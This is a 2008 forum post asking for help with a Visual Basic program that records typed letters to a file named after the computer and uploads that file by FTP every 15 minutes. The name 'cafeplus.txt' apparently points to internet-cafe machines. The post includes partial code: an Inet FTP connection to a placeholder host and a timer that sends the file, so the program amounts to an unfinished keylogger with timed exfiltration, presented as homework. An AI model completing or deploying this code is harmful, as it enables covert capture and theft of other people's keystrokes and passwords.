Título: Sendkey And Inet Anybody Likes Hardwork?Please Help Publicado por: odesa en 20 Octubre 2008, 13:22 pm Hi friends,
I have a question about using inet and senkeys. Program makes when pressing a,l,p,e,r letters on keyboard, the program should save this letters on a txt file.and every 15 minutes it should upload this txt files to my ftp. (note: txt files name is must be computer name for example. cafeplus.txt) So I need your help my friends If you help me I wanna become very happy. I try to make something (at down you see) but code has a lot of missings. Please help me its my homework. Thanks Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long Private Sub form_load() Inet1.URL = "ftp://adress.com" Inet1.RemoteHost = "ftp://adress.com" Inet1.Protocol = icFTP Inet1.Password = "******" Inet1.UserName = "******" Inet1.RequestTimeout = 40 Timer1.Enabled = True End Sub Private Sub Timer1_Timer() Inet1.Execute , "SEND C:\Computername.txt Computername.txt" & vbCrLf End Sub |